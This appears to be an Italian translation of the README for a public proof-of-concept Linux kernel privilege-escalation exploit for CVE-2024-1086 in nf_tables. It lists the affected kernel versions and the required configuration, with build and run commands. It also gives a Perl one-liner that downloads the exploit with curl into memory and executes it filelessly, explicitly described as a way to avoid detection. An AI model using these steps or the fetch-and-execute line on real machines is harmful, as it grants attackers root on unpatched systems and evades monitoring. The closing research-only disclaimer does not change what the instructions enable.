
Exploit Proof-of-Concept universale per l'escalation locale dei privilegi per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra v5.14 e v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99,4% nelle immagini KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Un write-up completo dell'exploit - incluse informazioni di base e un sacco di diagrammi utili - è disponibile nel post del blog Flipping Pages.
L'exploit interessa le versioni dalla v5.14 (inclusa) alla v6.6 (inclusa), escluse le branch corrette v5.15.149>, v6.1.76>, v6.6.15>. La patch per queste versioni è stata rilasciata a febbraio 2024. La vulnerabilità sottostante interessa tutte le versioni (escluse le branch stabili corrette) dalla v3.15 alla v6.8-rc1.
Avvertenze:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluso Ubuntu v6.5)CONFIG_USER_NS=y), che tali user namespaces siano non privilegiati (comando sh sysctl kernel.unprivileged_userns_clone = 1) e che nf_tables sia abilitato (kconfig CONFIG_NF_TABLES=y). Di default, sono tutti abilitati su Debian, Ubuntu e KernelCTF. Le altre distribuzioni non sono state testate, ma potrebbero funzionare. Inoltre, l'exploit è stato testato solo su x64/amd64.I valori predefiniti dovrebbero funzionare senza modifiche su Debian, Ubuntu e KernelCTF con una shell locale. Su configurazioni/distribuzioni non testate, assicurati che i valori kconfig corrispondano al kernel di destinazione. Questi possono essere specificati in src/config.h. Se stai eseguendo l'exploit su una macchina con più di 32GiB di memoria fisica, assicurati di aumentare CONFIG_PHYS_MEM.
Se stai eseguendo l'exploit via SSH (sulla macchina di test) o tramite reverse shell, potresti voler impostare CONFIG_REDIRECT_LOG su 1 per evitare attività di rete non necessarie.
Se questo è poco pratico per te, c'è un binario x64 compilato con la configurazione predefinita.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binario: CVE-2024-1086/exploit
Eseguire l'exploit è altrettanto semplice:
./exploit
È supportata anche l'esecuzione fileless, in caso di situazioni di pentest in cui è necessario evitare le rilevazioni. Tuttavia, Perl deve essere installato sul target:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
I programmi e gli script ("programmi") in questa directory/cartella/repository di software ("repository") sono pubblicati, sviluppati e distribuiti solo per scopi educativi/di ricerca. Io ("il creatore") non approvo alcun utilizzo malevolo o illegale dei programmi in questa repository, poiché l'intenzione è condividere ricerche e non svolgere attività illegali con essa. Non sono legalmente responsabile per qualsiasi cosa tu faccia con i programmi in questa repository.